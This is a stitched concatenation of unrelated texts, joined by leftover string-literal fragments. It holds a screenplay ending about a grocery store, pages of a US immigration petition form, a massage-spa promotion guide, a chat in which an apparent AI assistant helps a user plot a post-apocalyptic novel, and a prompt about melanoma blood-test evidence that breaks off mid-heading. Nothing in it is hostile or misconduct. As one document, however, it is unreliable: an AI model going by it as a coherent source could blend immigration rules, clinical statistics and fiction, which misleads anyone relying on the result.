STORE – LIQUOR SECTION – DAY\nRuby, also sporting an orange polo, checks the ID of a\nclearly underage kid. She shakes her head at him and promptly\ncuts the ID in half.\nRUBY (V.O.)\nSo thank you. For believing in me.\nFor encouraging me.\n\nRUBY (V.O.) (CONT\'D)\n99.\nAnd for giving me everything I\nnever knew I needed.\nEXT. RUBY’S GROCERY STORE - CONTINUOUS\nAs the scared teenager runs out of the store, we see Min’s\nBeemer pull into a spot in front of the breathtaking A-Frame\nfront facade of Ruby’s.\nMin walks in to the-\nINT. RUBY’S GROCERY STORE ENTRANCE\n-and it’s everything Ruby had dreamed of. It’s the inspo\nbinder come to life.\nHe walks over to the deli, and it’s equally magnificent. An\nenormous Boar’s Head sign hangs above the sprawling glass\ncase. He steps behind the counter, his coworkers greeting him\nwith excited smiles.\nHe fastens a name tag to his shirt that reads: “Min - Deli\nManager.”\nHe leaves the deli to walk over to the-\nINT. RUBY’S GROCERY STORE – LIQUOR SECTION\nHe enters to see Ruby grinning as she throws away the fake\nID. He smiles.\nRUBY (V.O.)\nI’m a little nervous about what the\nfuture holds. But I think if we\nstick together, it’s going to be\nokay.\nRuby looks up to see Min, her grin erupting into a full-on\near-to-ear smile. Nothing customer-service about it.\nCUT TO BLACK.\nRUBY (V.O)\nYour friend, Ruby.\nEND.' +'Section 2. Complete This Section If Filing for H-2A or H-2B Classification (continued)\n7.a. Did you or do you plan to use a staffing, recruiting, or similar placement service or agent to locate the H-2A/H-2B workers that\nyou intend to hire by filing this petition?\nIf yes, list the name and address of service or agent used below. Please use Part 10. of Form I-129 if you need to include the\nname and address of more than one service or agent.\nName\nYes No\n7.b.\nDid any of the H-2A/H-2B workers that you are requesting pay you, or an agent, a job placement fee or other form\nof compensation (either direct or indirect) as a condition of the employment, or do they have an agreement to pay\nyou or the service such fees at a later date? The phrase "fees or other compensation" includes, but is not limited to,\npetition fees, attorney fees, recruitment costs, and any other fees that are a condition of a beneficiary\'s employment\nthat the employer is prohibited from passing to the H-2A or H-2B worker under law under U.S. Department of\nLabor rules. This phrase does not include reasonable travel expenses and certain government-mandated fees (such\nas passport fees) that are not prohibited from being passed to the H-2A or H-2B worker by statute, regulations, or\nany laws.\n8.c. If the workers paid any fee or compensation, were they reimbursed?\nYes\n9. Have you made reasonable inquiries to determine that to the best of your knowledge the recruiter,\nfacilitator, or similar employment service that you used has not collected, and will not collect, directly or\nindirectly, any fees or other compensation from the H-2 workers of this petition as a condition of the H-2\nworkers\' employment?\nHave you ever had an H-2A or H-2B petition denied or revoked because an employee paid a job placement\nfee or other similar compensation as a condition of the job offer or employment?\n10.b. Were the workers reimbursed for such fees and compensation? (Submit evidence of reimbursement.) If\nyou answered no because you were unable to locate the workers, include evidence of your efforts to locate\nthe workers.\nNo\nYes No\nYes No\nYes\nNo 8.d. If the workers agreed to pay a fee that they have not yet been paid, has their agreement been terminated\nbefore the workers paid the fee? (Submit evidence of termination or reimbursement with this petition.)\nIf yes, list the types and amounts of fees that the worker(s) paid or will pay.\nYes No\nNOTE: If USCIS determines that you knew, or should have known, that the workers requested in\nconnection with this petition paid any fees or other compensation at any time as a condition of\nemployment, your petition may be denied or revoked.\n10.a.\n10.a.1\n10.a.2\nIf yes, when?\nReceipt Number:\n7.c. Address\nCity or Town State ZIP Code\nStreet Number and Name Apt. Ste. Flr. Number\n8.b.\nYes No 8.a.\n►\n Page 16 of 36\nForm I-129 Edition 11/02/22\nSection 2. Complete This Section If Filing for H-2A or H-2B Classification (continued)\nYes No 11. Have any of the workers you are requesting experienced an interrupted stay associated with their entry as\nan H-2A or H-2B? (See form instructions for more information on interrupted stays.)\nIf yes, document the workers\' periods of stay in the table on the first page of this supplement. Submit\nevidence of each entry and each exit, with the petition, as evidence of the interrupted stays.\n12.a. If you are an H-2A petitioner, are you a participant in the E-Verify program? Yes No\n12.b. If yes, provide the E-Verify Company ID or Client Company ID.\nThe petitioner must execute Part A. If the petitioner is the employer\'s agent, the employer must execute Part B. If there are joint\nemployers, they must each execute Part C.\nFor H-2A petitioners only: The petitioner agrees to pay $10 in liquidated damages for each instance where it cannot demonstrate it is\nin compliance with the notification requirement.\nThe H-2A/H-2B petitioner and each employer consent to allow Government access to the site where the labor is being performed for\nthe purpose of determining compliance with H-2A/H-2B requirements. The petitioner further agrees to notify DHS beginning on a\ndate and in a manner specified in a notice published in the Federal Register within 2 workdays if: an H-2A/H-2B worker fails to report\nfor work within 5 workdays after the employment start date stated on the petition or, applicable to H-2A petitioners only, within 5\nworkdays of the start date established by the petitioner, whichever is later; the agricultural labor or services for which H-2A/H-2B\nworkers were hired is completed more than 30 days early; or the H-2A/H-2B worker absconds from the worksite or is terminated prior\nto the completion of agricultural labor or services for which he or she was hired. The petitioner agrees to retain evidence of such\nnotification and make it available for inspection by DHS officers for a one-year period. "Workday" means the period between the\ntime on any particular day when such employee commences his or her principal activity and the time on that day at which he or she\nceases such principal activity or activities.\nPart A. Petitioner\nPart B. Employer who is not the petitioner\nPart C. Joint Employers\nSignature of Petitioner Name of Petitioner Date (mm/dd/yyyy)\nBy filing this petition, I agree to the conditions of H-2A/H-2B employment and agree to the notification requirements. For H-2A\npetitioners: I also agree to the liquidated damages requirements defined in 8 CFR 214.2(h)(5)(vi)(B)(3).\nSignature of Employer Name of Employer Date (mm/dd/yyyy)\nI certify that I have authorized the party filing this petition to act as my agent in this regard. I assume full responsibility for all\nrepresentations made by this agent on my behalf and agree to the conditions of H-2A/H-2B eligibility.\nI agree to the conditions of H-2A eligibility.\nSignature of Joint Employer Name of Joint Employer\nName of Joint Employer\nName of Joint Employer\nName of Joint Employer\nDate (mm/dd/yyyy)\nDate (mm/dd/yyyy)\nDate (mm/dd/yyyy)\nDate (mm/dd/yyyy)\nSignature of Joint Employer\nSignature of Joint Employer\nSignature of Joint Employer\n Page 17 of 36\nForm I-129 Edition 11/02/22\nSection 3. Complete This Section If Filing for H-3 Classification\nIs the training you intend to provide, or similar training, available in the beneficiary\'s country?\nIf you do not intend to employ the beneficiary abroad at the end of this training, explain why you wish to incur the cost of\nproviding this training and your expected return from this training.\nWill the training benefit the beneficiary in pursuing a career abroad?\nDoes the training involve productive employment incidental to the training? If yes, explain the\namount of compensation employment versus the classroom in Part 9. of Form I-129.\nDoes the beneficiary already have skills related to the training?\nIs this training an effort to overcome a labor shortage?\nDo you intend to employ the beneficiary abroad at the end of this training?\nIf you answer yes to any of the following questions, attach a full explanation.\nYes\nNo\nYes\nNo\nYes\nYes No\nNo\nYes\nNo\nYes\n1. No\n2.\n3.\n4.\n5.\n6.\n7.\n Page 18 of 36\nForm I-129 Edition 11/02/22\nH-1B and H-1B1 Data Collection and\nFiling Fee Exemption Supplement\nDepartment of Homeland Security\nU.S. Citizenship and Immigration Services\nUSCIS\nForm I-129\nOMB No. 1615-0009\nExpires 11/30/2025\n1. Name of the Petitioner\n2. Name of the Beneficiary\nSection 1. General Information\nc.1. If yes, is it because the beneficiary\'s annual rate of pay is equal to at least $60,000?\na. Is the petitioner an H-1B dependent employer?\nb. Has the petitioner ever been found to be a willful violator?\nc. Is the beneficiary an H-1B nonimmigrant exempt from the Department of Labor attestation\nrequirements?\nd. Does the petitioner employ 50 or more individuals in the United States?\nd.1. If yes, are more than 50 percent of those employees in H-1B, L-1A, or L-1B nonimmigrant\nstatus?\nc.2. Or is it because the beneficiary has a master\'s degree or higher degree in a specialty related to\nthe employment?\n1. Employer Information - (select all items that apply)\n2. Beneficiary\'s Highest Level of Education (select only one box)\na. NO DIPLOMA\nb. HIGH SCHOOL GRADUATE DIPLOMA or\nthe equivalent (for example: GED)\nc. Some college credit, but less than 1 year\nd. One or more years of college, no degree\ne. Associate\'s degree (for example: AA, AS)\nf. Bachelor\'s degree (for example: BA, AB, BS)\ng. Master\'s degree (for example: MA, MS, MEng, MEd,\nMSW, MBA)\nh. Professional degree (for example: MD, DDS, DVM, LLB, JD)\ni. Doctorate degree (for example: PhD, EdD)\nNo\nYes\nNo\nYes\nNo\nNo\nYes No\nYes\nYes\nNo\nYes\nNo\nYes\n3. Major/Primary Field of Study\n4. Rate of Pay Per Year 5. DOT Code 6. NAICS Code\nIn order for USCIS to determine if you must pay the additional $1,500 or $750 American Competitiveness and Workforce\nImprovement Act (ACWIA) fee, answer all of the following questions:\nYes No 1. Are you an institution of higher education as defined in section 101(a) of the Higher\nEducation Act of 1965, 20 U.S.C. 1001(a)?\nSection 2. Fee Exemption and/or Determination\n2. Are you a nonprofit organization or entity related to or affiliated with an institution of higher education,\nas defined in 8 CFR 214.2(h)(19)(iii)(B)?\nYes No\n Page 19 of 36\nForm I-129 Edition 11/02/22\n3. Are you a nonprofit research organization or a governmental research organization, as defined in\n8 CFR 214.2(h)(19)(iii)(C)?\n4. Is this the second or subsequent request for an extension of stay that this petitioner has filed for this\nalien?\n5. Is this an amended petition that does not contain any request for extensions of stay?\n8. Is the petitioner a nonprofit entity that engages in an established curriculum-related clinical training of\nstudents registered at such an institution?\n6. Are you filing this petition to correct a USCIS error?\n7. Is the petitioner a primary or secondary education institution?\nIf you answered yes to any of the questions above, you are not required to submit the ACWIA fee for your H-1B Form I-129 petition.\nIf you answered no to all questions, answer Item Number 9. below.\n9. Do you currently employ a total of 25 or fewer full-time equivalent employees in the United States,\nincluding all affiliates or subsidiaries of this company/organization?\nIf you answered yes, to Item Number 9. above, you are required to pay an additional ACWIA fee of $750. If you answered no, then\nyou are required to pay an additional ACWIA fee of $1,500.\nNo\nYes\nNo\nYes\nNo\nYes\nYes No\nNo\nYes\nNo\nYes\nNo\nYes\nNOTE: A petitioner seeking initial approval of H-1B nonimmigrant status for a beneficiary, or seeking approval to employ an H-1B\nnonimmigrant currently working for another employer, must submit an additional $500 Fraud Prevention and Detection fee. For\npetitions filed on or after December 18, 2015, an additional fee of $4,000 must be submitted if you responded yes to Item Numbers\n1.d. and 1.d.1. of Section 1. of this supplement. This $4,000 fee was mandated by the provisions of Public Law 114-113.\nThe Fraud Prevention and Detection Fee and Public Law 114-113 fee do not apply to H-1B1 petitions. These fees, when applicable,\nmay not be waived. You must include payment of the fees when you submit this form. Failure to submit the fees when required will\nresult in rejection or denial of your submission. Each of these fees should be paid by separate checks or money orders.\nSection 3. Numerical Limitation Information\n1. Specify the type of H-1B petition you are filing. (select only one box):\nb. CAP H-1B U.S. Master\'s Degree or Higher\na. CAP H-1B Bachelor\'s Degree\nd. CAP Exempt\nc. CAP H-1B1 Chile/Singapore\nSection 2. Fee Exemption and/or Determination (continued)\n2. If you answered Item Number 1.b. "CAP H-1B U.S. Master\'s Degree or Higher," provide the following information\nregarding the master\'s or higher degree the beneficiary has earned from a U.S. institution as defined in 20 U.S.C. 1001(a):\na. Name of the United States Institution of Higher Education\nb. Date Degree Awarded c. Type of United States Degree\nd. Address of the United States institution of higher education\nCity or Town State ZIP Code\nStreet Number and Name Apt. Ste. Flr. Number\n Page 20 of 36' +'50 IDEAS FOR MASSAGE & SPA PROMOTIONS\n\nI know you’re excited about this book and probably want to share it with all your friends. But please respect all the time and energy I’ve\nput into it, and refer them to my online store instead!\n\nWhy run\nspecials and promotions in your massage business?\n1\nI decided to write this guide to help Massage Therapists to promote their businesses effectively.\n\nSpecials and\npromotions can\n\nBring in new clients. Customers are looking for great deals and new things to try. Just look at Groupon! You don’t have to\ndo daily deals. You can create your\n2\nown specials to bring in new customers and make money while you do it.\nGive you something to talk about. With social media we have the opportunity to interact\nwith our clients, potentially all day every day, but it’s easy to run out of content. With monthly or weekly specials you will have fresh content regularly.\nBe your monthly\n3\nnewsletter content. Email your list with your specials and their benefits, add some homecare tips, and you have an easy peasy newsletter.\nKeep clients loyal. Some promotions such as service packages reward clients for loyalty and keep them coming in regularly. Direct traffic to your website. When clients know you are posting fresh specials each\n4\nmonth they will visit your website to see what is new. You can also direct traffic from social media.\n5\n50 Ideas for Massage & Spa Promotions\n\nNew Client Offers\n1. Free enhancement with any massage. Think foot scrub, back scrub, paraffin wax, or\naromatherapy.\n2. Discounted price for first visit. 3. Give out coupons for “extra\n\ntime,” for instance, 15-30\nminutes on first visit.\n4. Free take home gift with first appointment, for example, a spa sampler basket with a small body scrub, body butter and mist.\n5. Offer your regular clients to bring a friend and both get the new client discount.\nNew client offers encourage clients to try out you and your business. It’s a great way to get\nclients in the door. Be sure to wow them with excellent service, listening skills and follow up. It’s a\n\ngood idea to let your existing clients take advantage of your new client offer one time, so they don’t feel left out or shorted. You may get a little less money for one massage but your clients will really\nappreciate it and it will build loyalty. Don’t discount your new client offer too much, add some extras to add value and sweeten the deal. You want to attract clients that can afford you services regularly.\nIdeas for Monthly Specials\n6. 30 minute massage with 30 minute foot reflexology.\n7. 60 minute massage with soothing back scrub & mud mask.\n8. 75 minute massage for the price of 60.\n9. 30 minute “targeted massage” for neck and shoulders for a small discount.\n10. 60 minute massage with dry\nbrushing & herbal body wrap.\nMonthly Promotions Tips\nMonthly promotions give you a reason to communicate with all of your clients on a regular basis. They also give you something fresh and new to promote each month, instead of discounting your regular prices.\nRecommendations\n• Monthly promotion can be as simple as a special essential oil\n\nblend or as big as launching a whole new line of body\ntreatments.\n• Short enhancement services, such as a foot scrub, are easy to incorporate into monthly\npromotions.\n• Clients will love seeing what is \\*new\\* at your office.\n• Incorporate a special (non alcoholic) beverage or small take home gift with your promotion.\n\nIdeas to Keep\nClients Coming in Regularly\n11. Buy 5 massages get one free. 12. Buy a 10 “pack“of massages with a $10-$15 discount on each one. 13. Re-book today and get a discount.\n14. Give “points” for every dollar spent redeemable for services, products or discounts.\n15. Give spontaneous freebies like enhancements, extra time or\n\nsmall take home gifts to regular clients.\nPrepaid Package Tips\nPrepaid massage session packages in fact are money in the bank, but are you using them to your best advantage? Check out my pros and cons and learn how to make yours a money maker instead of a hassle. Pros\n• Cash upfront. This is money you can use to pay your monthly expenses, and budget for your\nbusiness. This is especially true if you sell packages of 10 sessions. • Clients who buy packages of 10 sessions usually book regular or standing appointments.\n• Some prepaid clients are more likely to purchase upgrades and retail. They aren\'t spending any "real" money when they come in so it doesn\'t feel like as much to upgrade.\n• Prepaid services create client loyalty! Sometimes it can feel like\nthere is a massage therapist on every corner giving a discount. If you have already paid for\nsessions somewhere, that is YOUR massage therapist!\nCons\n• You will have times when there is a lot of money coming in and times when it feels like you are working for free. You will have to have a budget and a plan!\n• If for some reason it\'s not working out with a client, you are kind of\nstuck with them through the end of the package. Exception:\nextreme cases such as\ninappropriate behavior, then just send a refund and out they go! • People will try to push your boundaries, they will want\nrefunds, gift certificates and all kinds of exceptions made for them! To me the advantages of prepaid packages far outweigh the disadvantages. I prefer to give a bigger discount $10-$15 for\npurchasing 10 sessions. This sells better than a $5 discount in my area. $5 is hardly worth worrying about anymore, clients are\nlooking for value.\nAvoid problems when selling Massage Session packages, with these tips.\nMassage service packages can greatly enhance your business and income. Packages reward and encourage clients to receive regular\nmassage, and provide steady income for the massage therapist. When planning your package program be sure to figure out your policies and procedures to avoid any misunderstandings with clients.\n• Will you sell packages of 3, 5, 10 or more massages? I prefer prepaid over buy 5 get a freebie. I think you will see clients more regularly with everything paid for up front.\n• What tracking system will you use\nto keep up with massages used and massages left to use. Will clients need to sign for each session?\n• Will packages be “sharable” if so with how many other people? Family only?\n• Will you issue gift certificates on package massages? For example Mrs. Smith would like to get her daughter a gift certificate. Can she use up one of her prepaid\nservices?\n• Will the sessions ever expire? • What is your refund policy if someone is moving away or changes their mind?\n• Will clients be able to use their massages on other services? For example a client would like to use a one hour massage on a hot stone massage, will they pay the difference between the regular price and the hot stone or the between the package price and the hot stone?\n• What is your cancellation policy and will package massages be forfeited in the case of a no show or last minute cancellation?\n\nIdeas for Gift Certificate\nPromotions\n16. Buy 3 Gift Certificates and Get 1 for yourself!\n17. Team up with an esthetician or nail tech to offer packages. 18. Couples massage for\nValentine’s Day, Wedding or Anniversary present with take home gift.\n19. “Sampler” package with a 30 minute massage, 30 minute\n\nreflexology and a 30 minute “facial massage treat” (facial massage and hydrating mask).\n20. “Day Package” with three 60 minute services (massage, reflexology, body scrub, wrap, or several enhancements) with lunch included to break up the services.\nGift Certificate\nMarketing Tips\n\uf06b Think about who will be buying your gift certificates and target your\n\nmarketing to them. These are not necessarily people who would get a massage themselves. Basically, go where the men go!\nFact: Men buy massage and spa gifts for the ladies in their lives.\nMake a nice flyer and put it\neverywhere you think the guys are. Hit the manly gym, hardware store, the barber shop, the fire\ndepartment, you get my drift. I make a mini-flyer and put it everywhere!! An easy format is to\n\nget 4 copies per page then just get it cut at the printers. This is similar to what I am talking about here in this video: Rack Cards.\n\uf144\nI also include this kind of flyer in a holiday card that I mail to all active clients.\n• Make your gift certificate pretty, and add some little extras. • You could do a pretty gift bag complete with tissue paper and a\n\ngift tag. Add a few chocolates and a small product or product\nsamples. You could provide a gift box and let the gift giver pick a card to go with it.\n• Hit the $1 store to stock up on your wrapping supplies. This makes it super easy for people to buy from you and they will remember and talk about your extras!\n• Check out my 5 minute video on Gift Certificate Packaging\n\n\uf144\n(password: bootcampgc)\n• Sell online Massage Gift\nCertificates!! If you don’t, you are missing out. Wouldn’t you love to wake up in the morning and find out you made $ while you were sleeping? I like Spaboom or Gift Card Cafe, but there are many good services for this.\n• Make sure you direct people to your online store by having the\n\ninformation on your voice mail message, studio door, and all over your website.\n• Have something for every budget.\nI like to start in the $40-$50 range for kids buying for mom and those on a tight budget and go all the way up to a $300-$400 “spa day” package. Include 4-5 options in different price ranges. The\npackages in the middle will sell the best. Combine your services with Spa Enhancements to make some\n\nreally unique packages.\nGift Certificate Checklist\n✔Cardstock or pretty paper ✔Envelopes\n✔Tissue paper\n✔Gift bags\n✔Note cards (or holiday cards) ✔Tracking system (paper or computer)\n✔Extra treats (Chocolate, Tea, Product Samples or Small Products)\n\nIdeas for Holiday Specials\n21. Hot stone massage add-on with any service.\n22. Seasonal treats like pumpkin scrubs, peppermint foot treat, or vanilla massage oil.\n23. “12 Months of Spa” package with a treatment each month for a year. Great high end offer!\n24. 30 minute services like a 30 minute massage with paraffin wax for those on a budget.\n25. Small aromatherapy gift basket and gift wrap with any Gift\nCertificate purchase.\n\nAdditional Ideas for Specials\n26. Offer a free consultation and 15 minute trial (or longer).\n27. Offer a membership program with discounts and extras for your members.\n28. 60 minute Massage and Paraffin Wax (hands or feet). 29. 45 minute Tension Tamer Massage (Neck, back, and\nshoulders with Arnica oil).\n30. 30 minute Massage with\naromatherapy and a foot scrub. 31. 30 minute Massage with 30 minute Hydrating Facial\nTreatment.\n32. 75 minute Hot Stone Massage at a special price.\n33. 30 minute reflexology\ntreatment with a hair and scalp treatment mask.\n34. Reflexology foot massage followed by a foot scrub and paraffin wax 45 min-1 hr.\n35. Aromatherapy facial massage\nwith paraffin wax treatment for hands and feet.\nThemed Ideas\n36. Summer Specials: with coconut, papaya, mango and other\ntropical scents & products.\n37.Rose Theme: rose petals on the table, rose scented oil, and a rose scented candle. Check out great ideas for decorating your massage table on YouTube:\n38. Spring Flowers Theme: with lavender foot soak, lavender\nmassage oil, and lavender in the diffuser. You could also use different floral blends.\n39.Spring Detox Theme: with body brushing, citrus oils and a detox wrap. Serve up some cucumber or lemon water after the\nsession.\n40. Peppermint Twist (great for winter): add a peppermint foot scrub and lotion at the end of any massage session. You could also add a little peppermint to\nan aromatherapy diffuser and give peppermint tea or candies after.\nIdeas for Guys\n41. Sports Massage: create special treatments targeting the\ndifferent muscle groups used in different activities.\n• Golfer’s massage\nconcentrating on the muscles used to swing a golf club\n• Massage for runners or bikers concentrating on legs and\nback, or massage for recovery • Post Weekend Warrior\nMassage: Include arnica oil,\n\nand application of Biofreeze or Heat cream.\n• Of course women can get these specials too!\n42. Tension Tamer Special: targeted back massage, heat packs, and a stress reducing back mask.\n43. “Executive” or “Select” men’s massage services with essential oils such as cedar wood,\nlemongrass, balsam fir, or valor blend. Add hot towels for the\n\nback and feet and dry body brush for dry skin.\n44. Treat the feet with a\nlemongrass foot scrub, detailed foot massage, and paraffin wax or shea butter mask for the feet. This is good because some men\nare hesitant to try a full body service on their first visit. Add hands too for a longer service.\n45. Deluxe Stress Break: Re energize your tired feet and legs with a relaxing foot soak,\ninvigorating lower leg and foot exfoliation, refreshing mint mask, and relaxing foot\nmassage followed by a 30 minute stress melting targeted back and neck massage.\nOther Promotions\n46. Offer “Mini” services for kids, or kids’ spa parties.\n47.Offer Spa Parties in your space, or if you don’t have enough room, offer them as outcalls. You might want to team up with other service providers\n(estheticians, nail techs, make up artists) to offer multiple\nservices and more variety. Check your state board rules to see what can be offered in homes.\n\n48. Have a few businesses where you can regularly offer chair massage to meet people and promote yourself. Not FREE chair massage. This is a win-win for the other business too\nbecause people will come for the chair massage and shop or have other appointments while they are there.\n49. Send a coupon to clients for a free enhancement and/or gift with a massage during their\nbirthday month.\n50. Offer a special service for mothers and moms-to-be during May. Offer special services for father’s and fathers-to-be during June.' +'Petar B\nYes, pilgrims from across earth do visit the Tiamat zone for pilgrimage, and there are conflicts and various events surrounding this. The pilgrims are forced to visit North America usually by ship, or come by other means from Latin America to the ex-USA, and then they either walk to the pilgrimage site, or ride on horseback, use carts etc. The entire north-American continent, all the way down to mid Mexico is a no-fly zone, because of the extended effects of the Tiamat field which cause planes to crash.\n\nNate used to be a regular boy and young man, and he has a brother called Ethan. Ethan is also somewhere on earth in a stasis chamber. Not everyone is aware of Ethan\'s existence, or believe that Ethan exists, but some are looking for Ethan as "God\'s own brother", or "The living god\'s brother", or "Wounded god\'s kin", in hope that reuniting Ethan and Nate could unlock the Tiamat field and release Nate. There\'s a group of knights who claim they are the keepers of "Ethan\'s tomb" referring to Ethan\'s stasis chamber. It is unknown if these Knights are really knights, or if there\'s any truth to their claims.\n\nThe main protagonist is Lena, a young african-american woman from New Orleans, who used to have a romantic relationship with Ethan. She was put into stasis by Ethan ( against her will ) before the event that caused the apocalypse and she awakens inside the Tiamat zone a century after she was put in stasis. She travels the zone, and the world with other characters. She reveals her daughter ( with Ethan ) remained outside stasis, so in effect, Lena\'s daughter has probably lived and died decades ago.\nThe journey of Lena and her companions can serve as the backbone of your story, providing a personal and emotional connection for the reader while exploring the complexities of this post-apocalyptic world. Here are some ideas to help you develop Lena\'s character and her journey:\n\nLena\'s awakening: Lena\'s awakening from stasis could be a disorienting and traumatic experience, as she must come to terms with the loss of her old life, the passage of time, and the drastic changes in the world around her. This could be a powerful opening for your novel, setting the tone for the challenges and hardships Lena will face throughout her journey.\n\nThe search for Ethan: Driven by her love for Ethan and her desire to understand the truth about the Tiamat field, Lena could embark on a quest to find him and uncover the mystery surrounding his stasis chamber. This journey could take her and her companions across the Tiamat zone, encountering various factions, cultures, and dangers along the way.\n\nThe legacy of her daughter: The revelation that Lena\'s daughter lived and died decades ago could add a poignant and bittersweet dimension to her journey. Lena might seek to uncover her daughter\'s fate, learning about the life she led and the impact she had on the world. This could lead Lena to discover a network of descendants, who carry on her daughter\'s legacy and provide her with allies and connections throughout her journey.\n\nConflicts and alliances: As Lena travels through the Tiamat zone and beyond, she could find herself drawn into the power struggles and conflicts between different factions, including the various religious groups, the knights claiming to guard Ethan\'s tomb, and the factions seeking to control the Tiamat entity. Lena\'s unique connection to the "Wounded God" and his brother could make her a valuable asset or a target for these groups.\n\nLena\'s personal growth: Throughout her journey, Lena will need to adapt to the new world and confront her own fears, regrets, and limitations. Her experiences and the people she encounters could shape her into a strong and resilient leader, inspiring others with her determination and hope in the face of overwhelming odds.\n\nThe ultimate resolution: Lena\'s quest to find Ethan, understand the Tiamat field, and reconcile her past could lead her to a climactic confrontation with the forces shaping the world. The outcome of this confrontation could determine the fate of humanity, the Tiamat entity, and Nate, offering a powerful and satisfying conclusion to your novel.\n\nBy focusing on Lena\'s journey and her personal connections to the central mysteries of your story, you can create a compelling narrative that draws readers into your post-apocalyptic world and keeps them engaged throughout the story.\n\n\nPetar B\n1. exactly what I planned.\n\n2. Lena\'s love for Ethan had pretty much died during the first novel, because of his transformation from a normal guy to a greedy, materialistic, selfish person. Though Lena still has feelings for Ethan, she discovers that he had essentially abducted her and put her in stasis against her will. Ethan had no knowledge that Lena and he have a daughter ( because Lena hid it from Ethan ), so Lena sees Ethan as the villain responsible for abducting her and separating her from her daughter. Lena spends a lot of time being enraged and hating Ethan, which takes a toll on her... especially as she\'s subconsciously trying to avoid admitting her own blame for not informing Ethan of the existence of his daughter.\n\n3. In the second half of this novel, Lena learns that her daughter\'s descendants might be a class of "Hybrids", a genetically engineered group of humans ( or are they fully human ) who have come to rule most of the planet. These hybrids have created dystopian societies around Eurasia, Africa, Australia and south America, which hold the last remnants of advanced technology. \n\n4. in the first quarter of the novel, Lena is allied with other women ( other Ethan\'s ex romantic partners and women he admired ) who awaken alongside Lena. Some of these women are killed off, others go their own way, but Lena\'s most closely allied to Olivia - Ethan\'s ex-love interest, a psychotic young woman who had traumatized Ethan several times with her careless, evil actions. Olivia\'s nature is thoroughly sociopathic, so Lena is in danger from this person. During the mid third of the novel, Lena meets Mr. Gray, an immortal being ( belonging to a species who is only distantly related to humans, and who probably dominated earth before humans ). Mr. Gray is weakened by the effects of the apocalypse, and he finds an ally in Lena, and helps her on her quest as a mentor ( being that he is thousands of years old, and knows everything about everything, especially how to manipulate and rule over humans ). Mr.Gray is the main villain in the first novel, but in this novel he becomes a protagonist ( though an unrealiable one, with self-serving plans always brewing inside him ). \n\n6. The ultimate resolution, I\'ll form. My idea is that Lena manages to defeat the hybrids ( somewhat ), but doesn\'t destroy them, probably due to learning the Hybrids are descendants of her daughter. While Lena is searching for Ethan and acquiring power through her journey, the Tiamat field spreads slowly, and inside the epicenter of the field, Nate and Tiamat are discussing whether Tiamat should just devour earth and everyone else. \nBased on your ideas, here\'s a suggestion on how to weave these elements together into a cohesive narrative:\n\nLena\'s journey begins with her awakening, and her initial allies are the other women who were Ethan\'s ex-partners or admirers. Their shared history with Ethan could create a tense and uneasy alliance, as they navigate the dangers of the post-apocalyptic world.\n\nAs Lena learns more about her daughter\'s descendants, the Hybrids, she becomes increasingly determined to confront them and understand their true nature. This could serve as a driving force for her journey, as well as a source of internal conflict, as she wrestles with her anger toward Ethan and her own guilt.\n\nThe introduction of Mr. Gray as a mentor and ally to Lena adds depth and complexity to the story. His vast knowledge and experience could provide Lena with valuable guidance, while his ulterior motives and manipulative nature could create tension and mistrust within their alliance. The dynamic between Lena and Mr. Gray could be a key aspect of the novel, as they navigate their shared past and uncertain future.\n\nOlivia, the sociopathic ex-love interest of Ethan, could serve as a wild card in Lena\'s journey. Her unpredictability and dangerous nature could create suspense and tension, as Lena is forced to navigate the delicate balance between keeping Olivia as an ally and protecting herself from Olivia\'s potential betrayal or violence.\n\nAs Lena and her companions travel through the Tiamat zone, they could encounter various factions and cultures shaped by the post-apocalyptic world. These encounters could provide opportunities for world-building, as well as challenges and obstacles for Lena to overcome as she seeks Ethan and the truth about the Hybrids.\n\nThe ultimate resolution of Lena\'s journey could involve a climactic confrontation with the Hybrids, in which she must decide whether to destroy them or try to forge a new future with them as her daughter\'s descendants. This decision could be complicated by her ongoing relationship with Mr. Gray, as well as her unresolved feelings toward Ethan.\n\nThe subplot of Nate and Tiamat discussing the fate of Earth could add a sense of urgency and impending doom to the story, as Lena races against time to find a solution that will save humanity. The resolution of this subplot could be linked to Lena\'s ultimate decision regarding the Hybrids, potentially offering a way to avert disaster and reshape the world.\n\nBy intertwining these elements and character arcs, you can create a rich and engaging story that explores the complexities of your post-apocalyptic world and the personal struggles of Lena as she confronts her past, her future, and the fate of humanity.' +'Continue the course on the next slide building the slides and the transcript with the following content: Blood tests\nS100B, MIA, LDH blood tests for initial staging\nTwo small studies were identified assessing the diagnostic accuracy of either p-proteasome, MIA, S-100B, or LDH for melanoma metastases.[22][23] In the first study of 53 clinical stage I-II melanoma patients, 68 stage III-IV patients and 40 healthy volunteers, plasma samples were obtained before definitive surgical excision or treatment and followed for a median of 17 months. Reference standard positive patients were a mixture of patients with clinical stage III/IV disease at the outset and patients with clinical stage I/II who then developed metastases during follow-up (detected through clinical examinations and imaging tests). Likewise reference standard negative patients were a mixture of healthy volunteers and patients with clinical stage I/II disease who did not develop metastases during follow-up. Within the limitations of the substantial spectrum bias arising from the selection of the study population which was not limited to asymptomatic stage I/II patients, the area under the receiver operating curves (ROC) for p-proteasome and S100B were the highest (0.81,and 0.82 respectively), whereas LDH and MIA showed lower values (0.79, and 0.72 respectively).[22] In the second study, of 87 stage I/II patients, 71 stage III/IV patients and 50 healthy volunteers, serum concentrations were measured before surgery.[23] The reference standard was again a composite of clinical exams and imaging tests to define whether or not the patient had stage III/IV disease at either the outset or during a median of 32.8 months follow-up. The authors reported that a cut-off value for MIA of 9.4 ng/ml, had 77% sensitivity and 94% specificity for the detection of stage IV disease. Among the 87 patients with stage I/II disease after imaging, 66% of those with MIA serum values greater than 9.4 ng/mL developed regional or distant metastases during follow-up , while 5% of those with values below this threshold developed metastases.[23]\n\nStandard blood tests for initial staging and follow-up (e.g. electrolytes, urea, creatinine, liver function tests [LFTs], full blood count [FBC])\nEvidence from previous guidelines states the routine use of standard blood tests rarely identifies occult stage IV disease in patients presenting with stage I or II melanoma and is not recommended. See [ANZ Melanoma guidelines]. These tests are not new and were therefore outside the scope of the current systematic review and guideline.\n\nS100B, MIA, LDH blood tests during follow-up\nAs a tumour marker, S100B displays a sensitivity of 86–91 %, specificity[24][25] and may portend recurrence, however there are no data demonstrating superior survival outcomes for patients undergoing routine S100B testing in follow up. The use of serum LDH or melanoma-inhibitory activity (MIA) protein in follow up for the detection of asymptomatic melanoma recurrence has been reviewed by Fields and Coit.[26] Abnormal blood tests were rarely the first sign of metastases. Low sensitivity, specificity, and accuracy for general laboratory profiles make them ineffective in the detection of subclinical recurrence and their roles are yet to be defined.\n\nInvestigations for stage I-II patients with no sentinel node biopsy 